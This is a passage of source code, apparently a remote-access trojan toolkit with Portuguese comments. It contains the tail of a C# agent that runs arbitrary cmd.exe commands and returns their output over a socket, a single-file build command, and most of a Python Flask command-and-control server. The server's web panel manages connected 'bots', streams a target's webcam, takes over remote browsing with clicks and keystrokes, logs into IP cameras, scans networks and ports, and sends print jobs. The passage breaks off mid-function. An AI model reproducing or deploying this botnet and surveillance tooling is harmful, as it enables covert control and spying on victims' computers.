                CreateNoWindow = true, 
                StandardOutputEncoding = Encoding.GetEncoding(850),
                StandardErrorEncoding = Encoding.GetEncoding(850)
            };
            using (var processo = Process.Start(infoProcesso))
            {
                string saida = processo.StandardOutput.ReadToEnd();
                string erro = processo.StandardError.ReadToEnd();
                processo.WaitForExit(10000);
                return saida + erro;
            }
        }
        catch (Exception) 
        {
            try
            {
                 var infoProcesso = new ProcessStartInfo(nomeArquivo, argumentos)
                {
                    RedirectStandardOutput = true, 
                    RedirectStandardError = true, 
                    UseShellExecute = false, 
                    CreateNoWindow = true
                };
                using (var processo = Process.Start(infoProcesso))
                {
                    string saida = processo.StandardOutput.ReadToEnd();
                    string erro = processo.StandardError.ReadToEnd();
                    processo.WaitForExit(10000);
                    return saida + erro;
                }
            }
            catch (Exception ex)
            {
                return $"Falha ao executar comando local: {ex.Message}";
            }
        }
    }

    private void ExecutarComandoShell(string comando, NetworkStream stream)
    {
        string saidaComando = ExecutarComandoLocal("cmd.exe", "/c " + comando);
        if (string.IsNullOrWhiteSpace(saidaComando))
        {
            saidaComando = "Comando executado sem saída ou com erro.";
        }
        EnviarMensagem(stream, 0x01, saidaComando.Trim()).Wait();
    }
    
    public static void Main(string[] args)
    {
        Encoding.RegisterProvider(CodePagesEncodingProvider.Instance);
        new Agente().ExecutarCiclo();
    }
}

public class RawPrinterHelper
{
    [DllImport("winspool.Drv", EntryPoint = "OpenPrinterA", SetLastError = true, CharSet = CharSet.Ansi, ExactSpelling = true, CallingConvention = CallingConvention.StdCall)]
    private static extern bool OpenPrinter([MarshalAs(UnmanagedType.LPStr)] string szPrinter, out IntPtr hPrinter, IntPtr pd);

    [DllImport("winspool.Drv", EntryPoint = "ClosePrinter", SetLastError = true, ExactSpelling = true, CallingConvention = CallingConvention.StdCall)]
    private static extern bool ClosePrinter(IntPtr hPrinter);

    [DllImport("winspool.Drv", EntryPoint = "StartDocPrinterA", SetLastError = true, CharSet = CharSet.Ansi, ExactSpelling = true, CallingConvention = CallingConvention.StdCall)]
    private static extern bool StartDocPrinter(IntPtr hPrinter, int level, [In, MarshalAs(UnmanagedType.LPStruct)] DOCINFOA di);

    [DllImport("winspool.Drv", EntryPoint = "EndDocPrinter", SetLastError = true, ExactSpelling = true, CallingConvention = CallingConvention.StdCall)]
    private static extern bool EndDocPrinter(IntPtr hPrinter);

    [DllImport("winspool.Drv", EntryPoint = "StartPagePrinter", SetLastError = true, ExactSpelling = true, CallingConvention = CallingConvention.StdCall)]
    private static extern bool StartPagePrinter(IntPtr hPrinter);

    [DllImport("winspool.Drv", EntryPoint = "EndPagePrinter", SetLastError = true, ExactSpelling = true, CallingConvention = CallingConvention.StdCall)]
    private static extern bool EndPagePrinter(IntPtr hPrinter);

    [DllImport("winspool.Drv", EntryPoint = "WritePrinter", SetLastError = true, ExactSpelling = true, CallingConvention = CallingConvention.StdCall)]
    private static extern bool WritePrinter(IntPtr hPrinter, IntPtr pBytes, int dwCount, out int dwWritten);

    public static bool SendBytesToPrinter(string szPrinterName, byte[] pBytes, string szDocName)
    {
        IntPtr hPrinter = IntPtr.Zero;
        bool success = false;
        if (pBytes == null || pBytes.Length == 0) return true;

        var di = new DOCINFOA
        {
            pDocName = szDocName,
            pDataType = "RAW"
        };

        IntPtr pUnmanagedBytes = Marshal.AllocHGlobal(pBytes.Length);
        try
        {
            Marshal.Copy(pBytes, 0, pUnmanagedBytes, pBytes.Length);

            if (OpenPrinter(szPrinterName.Normalize(), out hPrinter, IntPtr.Zero))
            {
                if (StartDocPrinter(hPrinter, 1, di))
                {
                    if (StartPagePrinter(hPrinter))
                    {
                        success = WritePrinter(hPrinter, pUnmanagedBytes, pBytes.Length, out int dwWritten);
                        EndPagePrinter(hPrinter);
                    }
                    EndDocPrinter(hPrinter);
                }
            }
        }
        catch
        {
            success = false;
        }
        finally
        {
            Marshal.FreeHGlobal(pUnmanagedBytes);
            if (hPrinter != IntPtr.Zero)
            {
                ClosePrinter(hPrinter);
            }
        }
        
        if (!success)
        {
            Marshal.GetLastWin32Error();
        }
        return success;
    }

    [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Ansi)]
    private class DOCINFOA
    {
        [MarshalAs(UnmanagedType.LPStr)] public string pDocName;
        [MarshalAs(UnmanagedType.LPStr)] public string pOutputFile;
        [MarshalAs(UnmanagedType.LPStr)] public string pDataType;
    }
}

Código Build:

dotnet publish -c Release -r win-x64 --self-contained true -p:PublishSingleFile=true

C2 Python

 
import socket
import threading
import time
import os
import sys
import signal
import base64
import logging
import struct
import json
from flask import Flask, render_template_string
from flask_socketio import SocketIO
 
PORTA_C2 = 4444
PORTA_WEB = 5001
 
bots_conectados = []
lock = threading.Lock()
executando = True
 
app = Flask(__name__)
app.config['SECRET_KEY'] = 'segredo!'
socketio = SocketIO(app, async_mode='threading')
 
log = logging.getLogger('werkzeug')
log.setLevel(logging.ERROR)
 
TEMPLATE_HTML = """
<!DOCTYPE html>
<html lang="pt-BR">
<head>
    <meta charset="UTF-8">
    <title>NETCAT TEST V5 - Painel de Controle Dual-Stream</title>
    <style>
:root {
    --cor-fundo: #121212; --cor-painel: #1e1e1e; --cor-borda: #333;
    --cor-texto: #e0e0e0; --cor-texto-secundario: #aaa;
    --cor-primaria: #ff4500; --cor-sucesso: #28a745; --cor-info: #17a2b8;
    --cor-destaque: #6f42c1; --cor-aviso: #f0ad4e; --cor-perigo: #dc3545;
}
body, html { font-family: 'Segoe UI', 'Roboto', sans-serif; margin: 0; padding: 0; height: 100%; background-color: var(--cor-fundo); color: var(--cor-texto); display: flex; flex-direction: column; font-size: 14px; }
.navbar { background-color: #0d0d0d; padding: 0 20px; border-bottom: 2px solid var(--cor-primaria); display: flex; justify-content: space-between; align-items: center; height: 50px; flex-shrink: 0; }
.navbar h1 { margin: 0; font-size: 1.5em; letter-spacing: 2px; }
.master-container { display: flex; flex: 1; overflow: hidden; }
.actions-panel { width: 80px; background-color: var(--cor-painel); padding: 15px 0; border-right: 1px solid var(--cor-borda); display: flex; flex-direction: column; align-items: center; flex-shrink: 0; gap: 20px; }
.action-icon { display: flex; flex-direction: column; align-items: center; justify-content: center; width: 60px; height: 60px; background-color: #2c2c2c; border-radius: 8px; cursor: pointer; transition: all 0.2s ease-in-out; position: relative; }
.action-icon:hover { background-color: var(--cor-primaria); transform: translateY(-3px); }
.action-icon svg { width: 32px; height: 32px; fill: var(--cor-texto); }
.action-icon .tooltip { visibility: hidden; width: 140px; background-color: #0d0d0d; color: #fff; text-align: center; border-radius: 6px; padding: 5px 0; position: absolute; z-index: 1; left: 110%; top: 50%; margin-top: -15px; opacity: 0; transition: opacity 0.3s; }
.action-icon:hover .tooltip { visibility: visible; opacity: 1; }
.main-content { flex: 1; display: grid; grid-template-columns: 1fr 1fr; grid-template-rows: 1.5fr 1fr 1fr; gap: 15px; padding: 15px; }
.grid-item { background-color: #0d0d0d; border: 1px solid var(--cor-borda); border-radius: 5px; display: flex; flex-direction: column; overflow: hidden; }
.stream-container { background-color: #000; position: relative; }
.stream-container .stream-header { background-color: #252525; padding: 5px 12px; font-weight: bold; border-bottom: 1px solid var(--cor-borda); text-align: center; color: var(--cor-primaria);}
.stream-container img { width: 100%; height: calc(100% - 29px); object-fit: contain; background-color: #000; }
#stream-container-nav { grid-column: 1 / 2; grid-row: 1 / 2; }
#stream-container-webcam { grid-column: 2 / 3; grid-row: 1 / 2; }
.click-effect { position: absolute; border: 2px solid rgba(255, 69, 0, 0.9); border-radius: 50%; transform: translate(-50%, -50%); animation: ripple 0.5s linear; pointer-events: none; box-shadow: 0 0 15px rgba(255, 69, 0, 0.5); }
@keyframes ripple { to { width: 100px; height: 100px; opacity: 0; } }
#session-terminal-1-container { grid-column: 1 / 2; grid-row: 2 / 3; }
#session-terminal-2-container { grid-column: 2 / 3; grid-row: 2 / 3; }
#cmd-terminal-container { grid-column: 1 / 3; grid-row: 3 / 4; }
.terminal-header { background-color: #252525; padding: 8px 12px; font-weight: bold; border-bottom: 1px solid var(--cor-borda); }
.terminal-output { flex: 1; padding: 10px; overflow-y: auto; white-space: pre-wrap; font-family: 'Courier New', Courier, monospace; font-size: 0.95em; }
.terminal-input { display: flex; border-top: 1px solid var(--cor-borda); }
.terminal-input span { padding: 10px; background-color: var(--cor-painel); font-weight: bold; }
.terminal-input input { flex: 1; background-color: var(--cor-fundo); border: none; color: var(--cor-texto); padding: 10px; font-family: inherit; }
.terminal-input input:focus { outline: none; }
.modal { display: none; position: fixed; z-index: 1000; left: 0; top: 0; width: 100%; height: 100%; overflow: auto; background-color: rgba(0,0,0,0.6); }
.modal-content { background-color: var(--cor-painel); margin: 10% auto; padding: 20px; border: 1px solid var(--cor-borda); width: 80%; max-width: 600px; border-radius: 8px; box-shadow: 0 5px 15px rgba(0,0,0,0.5); }
.modal-header { display: flex; justify-content: space-between; align-items: center; border-bottom: 1px solid var(--cor-borda); padding-bottom: 10px; margin-bottom: 15px; }
.modal-header h4 { margin: 0; font-size: 1.2em; color: var(--cor-primaria); }
.close-btn { color: var(--cor-texto-secundario); font-size: 28px; font-weight: bold; cursor: pointer; }
.action-input { width: calc(100% - 22px); background-color: var(--cor-fundo); border: 1px solid var(--cor-borda); color: var(--cor-texto); padding: 10px; margin-bottom: 10px; border-radius: 4px; }
.action-btn { width: 100%; padding: 10px; margin-top: 5px; border: none; color: #fff; cursor: pointer; font-weight: bold; border-radius: 4px; transition: all 0.2s ease-in-out; display: flex; align-items: center; justify-content: center; gap: 8px; }
.btn-scan { background-color: var(--cor-info); } .btn-scan:hover { background-color: #19b9d1; }
.btn-print { background-color: var(--cor-destaque); } .btn-print:hover { background-color: #8352d8; }
.btn-cam { background-color: var(--cor-perigo); } .btn-cam:hover { background-color: #e84a59; }
.btn-nav { background-color: var(--cor-sucesso); } .btn-nav:hover { background-color: #32c450; }
.btn-portscan { background-color: var(--cor-aviso); } .btn-portscan:hover { background-color: #f5b95f; }
.btn-webcam { background-color: var(--cor-destaque); } .btn-webcam:hover { background-color: #8352d8; }
.bot-item { padding: 10px; margin-bottom: 8px; background-color: #2c2c2c; border-radius: 5px; cursor: pointer; border-left: 4px solid #555; display: flex; justify-content: space-between; align-items: center; transition: all 0.2s ease-in-out; }
.bot-item:hover { background-color: #383838; }
.bot-item.active { border-left-color: var(--cor-primaria); background-color: #404040; }
    </style>
</head>
<body>
    <nav class="navbar"><h1>NETCAT TEST V5</h1><span id="current-time"></span></nav>
    <div class="master-container">
<div class="actions-panel">
    <div class="action-icon" id="bots-icon"><svg viewBox="0 0 24 24"><path d="M16.5 12c1.38 0 2.5-1.12 2.5-2.5S17.88 7 16.5 7C15.12 7 14 8.12 14 9.5s1.12 2.5 2.5 2.5zM9 11c1.66 0 3-1.34 3-3s-1.34-3-3-3-3 1.34-3 3 1.34 3 3 3zm7.5 3c-1.83 0-5.5.92-5.5 2.75V19h11v-2.25c0-1.83-3.67-2.75-5.5-2.75zM9 13c-2.33 0-7 1.17-7 3.5V19h7v-2.25c0-.85.33-2.34 2.37-3.47C10.5 13.1 9.66 13 9 13z"/></svg><span class="tooltip">Bots Conectados</span></div>
    <div class="action-icon" id="scan-icon"><svg viewBox="0 0 24 24"><path d="M15.5 14h-.79l-.28-.27C15.41 12.59 16 11.11 16 9.5 16 5.91 13.09 3 9.5 3S3 5.91 3 9.5 5.91 16 9.5 16c1.61 0 3.09-.59 4.23-1.57l.27.28v.79l5 4.99L20.49 19l-4.99-5zm-6 0C7.01 14 5 11.99 5 9.5S7.01 5 9.5 5 14 7.01 14 9.5 11.99 14 9.5 14z"/></svg><span class="tooltip">Análise de Rede</span></div>
    <div class="action-icon" id="nav-icon"><svg viewBox="0 0 24 24"><path d="M20 4H4c-1.1 0-1.99.9-1.99 2L2 18c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2zm0 14H4V8h16v10zm-12-9h10v2H8v-2z"/></svg><span class="tooltip">Navegação</span></div>
    <div class="action-icon" id="cam-icon"><svg viewBox="0 0 24 24"><path d="M12 12c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2zm6-1.8C18 8.01 15.31 6 12 6s-6 2.01-6 4.2V12c0 1.1.9 2 2 2h8c1.1 0 2-.9 2-2v-1.8zM12 4c-4.42 0-8 1.79-8 4v10c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V8c0-2.21-3.58-4-8-4z"/></svg><span class="tooltip">Câmera IP</span></div>
    <div class="action-icon" id="webcam-icon"><svg viewBox="0 0 24 24"><path d="M17 10.5V7c0-.55-.45-1-1-1H4c-.55 0-1 .45-1 1v10c0 .55.45 1 1 1h12c.55 0 1-.45 1-1v-3.5l4 4v-11l-4 4zM15 16H5V8h10v8z"/></svg><span class="tooltip">Webcam Alvo</span></div>
    <div class="action-icon" id="print-icon"><svg viewBox="0 0 24 24"><path d="M19 8H5c-1.66 0-3 1.34-3 3v6h4v4h12v-4h4v-6c0-1.66-1.34-3-3-3zm-3 11H8v-5h8v5zm3-7c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1zm-1-9H6v4h12V3z"/></svg><span class="tooltip">Impressão</span></div>
    <div class="action-icon" id="portscan-icon"><svg viewBox="0 0 24 24"><path d="M9 4v2h2V4H9zm4 0v2h2V4h-2zm4 0v2h2V4h-2zM4 9v2h2V9H4zm14 0v2h2V9h-2zM4 14v2h2v-2H4zm14 0v2h2v-2h-2zM9 19v2h2v-2H9zm4 0v2h2v-2h-2zM4 4v2h2V4H4zm0 15v2h2v-2H4zm14 5v2h2v-2h-2zM9 9v6h6V9H9z"/></svg><span class="tooltip">Verificar Porta</span></div>
</div>
<div class="main-content">
    <div class="grid-item stream-container" id="stream-container-nav"><div class="stream-header">Navegação / Câmera IP</div><img id="stream-nav-ip" src="" alt="Stream da navegação ou câmera IP aparecerá aqui."/></div>
    <div class="grid-item stream-container" id="stream-container-webcam"><div class="stream-header">Webcam Alvo</div><img id="stream-webcam" src="" alt="Stream da webcam do alvo aparecerá aqui."/></div>
    <div class="grid-item terminal-container" id="session-terminal-1-container"><div class="terminal-header">Sessão Principal</div><div id="session-terminal-1-output" class="terminal-output"></div></div>
    <div class="grid-item terminal-container" id="session-terminal-2-container"><div class="terminal-header">Sessões Rápidas</div><div id="session-terminal-2-output" class="terminal-output"></div></div>
    <div class="grid-item terminal-container" id="cmd-terminal-container">
        <div class="terminal-header">Terminal de Comando</div>
        <div id="cmd-terminal-output" class="terminal-output"></div>
        <div class="terminal-input">
            <span id="prompt">$</span>
            <input type="text" id="command-input" placeholder="Digite um comando ou 'netcattest -h'...">
        </div>
    </div>
</div>
    </div>
 
    <div id="bots-modal" class="modal"><div class="modal-content"><div class="modal-header"><h4>Bots Conectados</h4><span class="close-btn">&times;</span></div><div id="bot-list-modal"></div></div></div>
    <div id="scan-modal" class="modal"><div class="modal-content"><div class="modal-header"><h4>Análise de Rede</h4><span class="close-btn">&times;</span></div><button id="scan-network-btn" class="action-btn btn-scan">Escanear Rede</button><div id="devices-list"></div></div></div>
    <div id="nav-modal" class="modal"><div class="modal-content"><div class="modal-header"><h4>Navegação Remota</h4><span class="close-btn">&times;</span></div><input type="text" id="nav-url-input" class="action-input" placeholder="https://exemplo.com"><button id="start-nav-btn" class="action-btn btn-nav">Iniciar Navegação</button></div></div>
    <div id="cam-modal" class="modal"><div class="modal-content"><div class="modal-header"><h4>Acesso à Câmera IP</h4><span class="close-btn">&times;</span></div><input type="text" id="cam-ip-input" class="action-input" placeholder="IP da Câmera"><input type="text" id="cam-user-input" class="action-input" placeholder="Usuário"><input type="text" id="cam-pass-input" class="action-input" placeholder="Senha"><input type="text" id="cam-path-input" class="action-input" placeholder="Caminho (ex: /mjpg/video.mjpg)"><button id="cam-connect-btn" class="action-btn btn-cam">Conectar</button></div></div>
    <div id="webcam-modal" class="modal"><div class="modal-content"><div class="modal-header"><h4>Acesso à Webcam do Alvo</h4><span class="close-btn">&times;</span></div><button id="start-webcam-btn" class="action-btn btn-webcam">Iniciar Stream da Webcam</button></div></div>
    <div id="print-modal" class="modal"><div class="modal-content"><div class="modal-header"><h4>Módulo de Impressão</h4><span class="close-btn">&times;</span></div><button id="fetch-printers-btn" class="action-btn btn-scan">Listar Impressoras</button><select id="printer-select" class="action-input"></select><input type="text" id="job-name-input" class="action-input" placeholder="Nome do Trabalho"><select id="print-method-select" class="action-input"><option value="acrobat">Acrobat (Requer Instalação)</option><option value="raw">RAW (PCL, PRN, etc)</option></select><input type="file" id="pdf-file-input" class="action-input" accept=".pdf,.pcl,.prn"><button id="print-btn" class="action-btn btn-print">Imprimir Arquivo</button></div></div>
    <div id="portscan-modal" class="modal"><div class="modal-content"><div class="modal-header"><h4>Verificar Porta</h4><span class="close-btn">&times;</span></div><input type="text" id="portscan-ip-input" class="action-input" placeholder="IP do Alvo"><input type="text" id="portscan-port-input" class="action-input" placeholder="Porta"><button id="portscan-btn" class="action-btn btn-portscan">Verificar</button></div></div>
 
    <script src="https://cdn.socket.io/4.7.5/socket.io.min.js"></script>
    <script>
const socket = io();
let activeBotId = null;
 
const streamNavIpImg = document.getElementById('stream-nav-ip');
const streamWebcamImg = document.getElementById('stream-webcam');
const streamNavContainer = document.getElementById('stream-container-nav');
const session1Output = document.getElementById('session-terminal-1-output');
const session2Output = document.getElementById('session-terminal-2-output');
const cmdOutput = document.getElementById('cmd-terminal-output');
 
const session1Commands = ['netcattestnav:', 'netcattestcamera:', 'netcattestwebcam', 'fecharpagina', 'fecharwebcam'];
const session2Commands = ['netcattestscan', 'netcattestimpressoras', 'netcattestportas:', 'netcattestimprimir:'];
const helpCommand = 'netcattest -h';
 
function sendCommand(command, target) {
    if (activeBotId === null) { logToTerminal('Nenhum bot selecionado.', 'error', 'session2'); return; }
    
    if (command.startsWith('netcattestimprimir:')) {
        logToTerminal('> ' + command.substring(0, command.lastIndexOf(':')) + ':...[DADOS_DO_ARQUIVO]', 'cmd', target);
    } else {
        logToTerminal(`> ${command}`, 'cmd', target);
    }
    socket.emit('send_command', { bot_id: activeBotId, command: command, target: target });
}
 
function logToTerminal(message, type = 'info', target = 'session2') {
    let out;
    switch(target) {
        case 'session1': out = session1Output; break;
        case 'session2': out = session2Output; break;
        case 'cmd': out = cmdOutput; break;
        default: out = cmdOutput;
    }
    
    const line = document.createElement('div');
    line.textContent = message;
    if (type === 'cmd') line.style.color = 'var(--cor-primaria)';
    else if (type === 'response') line.style.color = 'var(--cor-sucesso)';
    else if (type === 'error') line.style.color = 'var(--cor-perigo)';
    else line.style.color = 'var(--cor-info)';
    
    out.appendChild(line);
    out.scrollTop = out.scrollHeight;
}
 
function selectBot(botId) {
    activeBotId = botId;
    document.getElementById('prompt').textContent = `Bot[${botId}]$`;
    logToTerminal(`Sessão com bot ${botId} iniciada.`, 'info', 'cmd');
    socket.emit('request_bot_list');
    
    [cmdOutput, session1Output, session2Output].forEach(o => o.innerHTML = '');
    streamNavIpImg.src = '';
    streamWebcamImg.src = '';
 
    const botsModal = document.getElementById('bots-modal');
    botsModal.style.display = 'none';
}
 
function renderBotList(bots) {
    const botListEl = document.getElementById('bot-list-modal');
    botListEl.innerHTML = '';
    bots.forEach(bot => {
        const botEl = document.createElement('div');
        botEl.className = 'bot-item';
        if (bot.id === activeBotId) botEl.classList.add('active');
        const statusText = bot.ativo ? `Online: ${bot.uptime}` : `Offline: ${bot.uptime}`;
        botEl.innerHTML = `<div><span>${bot.id}: ${bot.nome}</span><br><small>${statusText}</small></div><span>${bot.ativo ? '🟢' : '🔴'}</span>`;
        botEl.onclick = () => selectBot(bot.id);
        botListEl.appendChild(botEl);
    });
}
 
function renderNetworkDevices(devices) {
    const devicesListEl = document.getElementById('devices-list');
    devicesListEl.innerHTML = '';
    if (devices.length === 0) {
        devicesListEl.innerHTML = '<p>Nenhum dispositivo encontrado.</p>';
        return;
    }
    devices.forEach(device => {
        const deviceEl = document.createElement('div');
        deviceEl.className = 'bot-item';
        let typeIcon = '💻';
        if (device.Type.toLowerCase().includes('impressora')) typeIcon = '🖨';
        else if (device.Type.toLowerCase().includes('câmera')) typeIcon = '📷';
        else if (device.Type.toLowerCase().includes('roteador')) typeIcon = '📡';
        
        deviceEl.innerHTML = `<span>${device.IP} [${device.MAC}]</span><span>${device.Manufacturer} (${typeIcon} ${device.Type})</span>`;
        deviceEl.onclick = () => {
            if (device.Type.toLowerCase().includes('câmera')) {
                document.getElementById('cam-ip-input').value = device.IP;
            }
        };
        devicesListEl.appendChild(deviceEl);
    });
}
 
function renderPrinterList(printers) {
    const printerSelectEl = document.getElementById('printer-select');
    printerSelectEl.innerHTML = '';
    if (printers.length === 0) {
        logToTerminal('Nenhuma impressora encontrada.', 'info', 'session2');
        return;
    }
    printers.forEach(name => {
        const option = document.createElement('option');
        option.value = name;
        option.textContent = name;
        printerSelectEl.appendChild(option);
    });
}
 
socket.on('connect', () => { logToTerminal('Painel de controle conectado.', 'info', 'cmd'); socket.emit('request_bot_list'); });
socket.on('time_update', (data) => { document.getElementById('current-time').textContent = data.time; });
socket.on('bot_list_update', (bots) => renderBotList(bots));
 
socket.on('bot_response', (data) => {
    if (data.bot_id !== activeBotId) return;
    try {
        const response = JSON.parse(data.response);
        if (response.type === 'network_scan') {
            renderNetworkDevices(response.devices);
            logToTerminal('Scan de rede concluído. Resultados no modal.', 'info', 'session2');
        } else if (response.type === 'printer_list') {
            renderPrinterList(response.printers);
            logToTerminal('Lista de impressoras recebida. Verifique o modal.', 'info', 'session2');
        }
    } catch (e) {
        logToTerminal(data.response, 'response', data.target);
    }
});
 
socket.on('frame_imagem', (data) => {
    if (data.bot_id !== activeBotId) return;
    const imgSrc = 'data:image/jpeg;base64,' + data.imagem;
    
    if (data.stream_type === 'nav_ip') {
        streamNavIpImg.src = imgSrc;
    } else if (data.stream_type === 'webcam') {
        streamWebcamImg.src = imgSrc;
    }
});
 
document.getElementById('command-input').addEventListener('keydown', (e) => {
    if (e.key === 'Enter' && e.target.value.trim() !== '') {
        const command = e.target.value.trim();
        let target = 'cmd';
        if (session1Commands.some(c => command.startsWith(c))) target = 'session1';
        else if (session2Commands.some(c => command.startsWith(c)) || command === helpCommand) target = 'session2';
        
        sendCommand(command, target);
        e.target.value = '';
    }
});
 
const modals = {
    'bots-icon': 'bots-modal', 'scan-icon': 'scan-modal', 'nav-icon': 'nav-modal', 
    'cam-icon': 'cam-modal', 'webcam-icon': 'webcam-modal', 'print-icon': 'print-modal', 
    'portscan-icon': 'portscan-modal'
};
Object.keys(modals).forEach(iconId => {
    document.getElementById(iconId).onclick = () => { document.getElementById(modals[iconId]).style.display = 'block'; };
});
document.querySelectorAll('.modal').forEach(modal => {
    modal.querySelector('.close-btn').onclick = () => { modal.style.display = 'none'; };
});
window.onclick = (event) => {
    if (event.target.classList.contains('modal')) event.target.style.display = "none";
};
 
document.getElementById('scan-network-btn').onclick = () => sendCommand('netcattestscan', 'session2');
document.getElementById('start-nav-btn').onclick = () => sendCommand(`netcattestnav:${document.getElementById('nav-url-input').value}`, 'session1');
document.getElementById('cam-connect-btn').onclick = () => {
    const ip = document.getElementById('cam-ip-input').value;
    const user = document.getElementById('cam-user-input').value;
    const pass = document.getElementById('cam-pass-input').value;
    const path = document.getElementById('cam-path-input').value;
    if(ip && user && pass) sendCommand(`netcattestcamera:${user}:${pass}:${ip}:${path}`, 'session1');
};
document.getElementById('start-webcam-btn').onclick = () => sendCommand('netcattestwebcam', 'session1');
document.getElementById('fetch-printers-btn').onclick = () => sendCommand('netcattestimpressoras', 'session2');
document.getElementById('print-btn').onclick = () => {
    const fileInput = document.getElementById('pdf-file-input');
    const printerName = document.getElementById('printer-select').value;
    const jobName = document.getElementById('job-name-input').value || 'Trabalho Remoto';
    const printMethod = document.getElementById('print-method-select').value;
    if (fileInput.files.length === 0) { logToTerminal('Selecione um arquivo.', 'error', 'session2'); return; }
    if (!printerName) { logToTerminal('Nenhuma impressora selecionada.', 'error', 'session2'); return; }
    
    const reader = new FileReader();
    reader.onload = (e) => {
        const b64data = e.target.result.split(',')[1];
        sendCommand(`netcattestimprimir:${printMethod}:${printerName}:${jobName}:${b64data}`, 'session2');
    };
    reader.readAsDataURL(fileInput.files[0]);
};
document.getElementById('portscan-btn').onclick = () => sendCommand(`netcattestportas:${document.getElementById('portscan-ip-input').value}:${document.getElementById('portscan-port-input').value}`, 'session2');
 
function showClickEffect(x, y) {
    const effect = document.createElement('div');
    effect.className = 'click-effect';
    effect.style.left = `${x}px`;
    effect.style.top = `${y}px`;
    streamNavContainer.appendChild(effect);
    setTimeout(() => effect.remove(), 500);
}
 
streamNavIpImg.addEventListener('click', (e) => {
    if (activeBotId === null) return;
    const rect = e.target.getBoundingClientRect();
    showClickEffect(e.clientX - rect.left, e.clientY - rect.top);
    const scaleX = e.target.naturalWidth / rect.width;
    const scaleY = e.target.naturalHeight / rect.height;
    const x = Math.round((e.clientX - rect.left) * scaleX);
    const y = Math.round((e.clientY - rect.top) * scaleY);
    socket.emit('interaction', { bot_id: activeBotId, type: 'CLICK', x: x, y: y });
});
window.addEventListener('wheel', (e) => {
    if (activeBotId === null || !streamNavIpImg.contains(e.target)) return;
    e.preventDefault();
    socket.emit('interaction', { bot_id: activeBotId, type: 'SCROLL', delta: Math.round(e.deltaY) });
}, { passive: false });
 
window.addEventListener('keydown', (e) => {
    if (activeBotId === null || document.activeElement.tagName === 'INPUT') return;
    const teclasEspeciais = new Set(['Enter','Backspace','Tab','Escape','Delete','ArrowUp','ArrowDown','ArrowLeft','ArrowRight','Home','End','PageUp','PageDown']);
    if (teclasEspeciais.has(e.key) || e.key.length === 1) {
        e.preventDefault();
        const type = teclasEspeciais.has(e.key) ? 'KEY_PRESS' : 'TYPE';
        socket.emit('interaction', { bot_id: activeBotId, type: type, key: e.key });
    }
});
    </script>
</body>
</html>
"""
 
def enviar_comando_para_bot(bot_socket, tipo, dados_str):
    dados_bytes = dados_str.encode('utf-8')
    tamanho = len(dados_bytes)
    cabecalho = struct.pack('<BI', tipo, tamanho)
    try:
        bot_socket.sendall(cabecalho + dados_bytes)
    except Exception as e:
        print(f"[!] Erro ao enviar comando para o bot: {e}")
 
def ler_bytes_exatos(sock, num_bytes):
    dados = b''
    while len(dados) < num_bytes:
        pacote = sock.recv(num_bytes - len(dados))
        if not pacote: return None
        dados += pacote
    return dados
 
def notificar_clientes_web():
    with lock:
        lista_bots_serializavel = []
        for bot in bots_conectados:
            if bot["ativo"]:
                tempo_decorrido = int(time.time() - bot["inicio_conexao"])
            else:
                tempo_decorrido = int(time.time() - bot.get("tempo_offline", bot["inicio_conexao"]))
            
            minutos, seg = divmod(tempo_decorrido, 60)
            horas, minutos = divmod(minutos, 60)
            uptime_str = f"{horas:02d}h{minutos:02d}m{seg:02d}s"
            
            lista_bots_serializavel.append({
                "id": bot["id"], "nome": bot["nome"], "ativo": bot["ativo"], "uptime": uptime_str
            })
    socketio.emit('bot_list_update', lista_bots_serializavel)
 
def background_updater():
    while executando:
        socketio.sleep(1)
        notificar_clientes_web()
        socketio.emit('time_update', {'time': time.strftime("%H:%M:%S")})
 
def tratar_bot(bot_socket, endereco, bot_id):
    info_bot = bots_conectados[bot_id]
    nome_bot = info_bot["nome"]
    print(f"\n[+] Conexão recebida de {nome_bot}")
    notificar_clientes_web()
    
    try:
        while executando and info_bot["ativo"]:
            cabecalho = ler_bytes_exatos(bot_socket, 5)
            if not cabecalho: break
            
            tipo, tamanho = struct.unpack('<BI', cabecalho)
            dados = ler_bytes_exatos(bot_socket, tamanho)
            if not dados: break
 
            if tipo == 0x01:
                response_str = dados.decode('utf-8', errors='ignore')
                target = info_bot.get('last_cmd_target', 'cmd')
                socketio.emit('bot_response', {'bot_id': bot_id, 'response': response_str, 'target': target})
            
            elif tipo == 0x02:
                imagem_base64 = base64.b64encode(dados).decode('utf-8')
                socketio.emit('frame_imagem', {'bot_id': bot_id, 'imagem': imagem_base64, 'stream_type': 'nav_ip'})
            
            elif tipo == 0x03:
                imagem_base64 = base64.b64encode(dados).decode('utf-8')
                socketio.emit('frame_imagem', {'bot_id': bot_id, 'imagem': imagem_base64, 'stream_type': 'webcam'})
 
    finally:
        with lock:
            info_bot["ativo"] = False
            info_bot["tempo_offline"] = time.time()
        print(f"\n[-] Bot desconectado: {nome_bot}")
        notificar_clientes_web()
 
def iniciar_servidor_c2():
    servidor = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    servidor.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    servidor.bind(("0.0.0.0", PORTA_C2))
    servidor.listen(100)
    print(f"[*] Servidor C2 escutando na porta {PORTA_C2}")
    while executando:
        try:
            bot_socket, endereco = servidor.accept()
            with lock:
                bot_id = len(bots_conectados)
                info_bot = {
                    "id": bot_id, 
                    "nome": f"Bot_{endereco[0]}:{endereco[1]}", 
                    "socket": bot_socket, 
                    "endereco": endereco, 
                    "ativo": True, 
                    "inicio_conexao": time.time(), 
                    "last_cmd_target": "cmd"
                }
                bots_conectados.append(info_bot)
            threading.Thread(target=tratar_bot, args=(bot_socket, endereco, bot_id), daemon=True).start()
        except OSError:
            break
        except Exception as e:
            if executando: print(f"[!] Erro ao aceitar conexão: {e}")
    servidor.close()
 
@app.route('/')
def index():
    return render_template_string(TEMPLATE_HTML)
 
@socketio.on('request_bot_list')
def handle_request_bot_list():
    notificar_clientes_web()
 
@socketio.on('send_command')
def handle_send_command(data):
    bot_id = int(data['bot_id'])
    command = data['command']
    target = data.get('target', 'cmd')
    info_bot = None
    with lock:
        if 0 <= bot_id < len(bots_conectados):
            info_bot = bots_conectados[bot_id]
            info_bot['last_cmd_target'] = target
    
    if info_bot and info_bot["ativo"]:
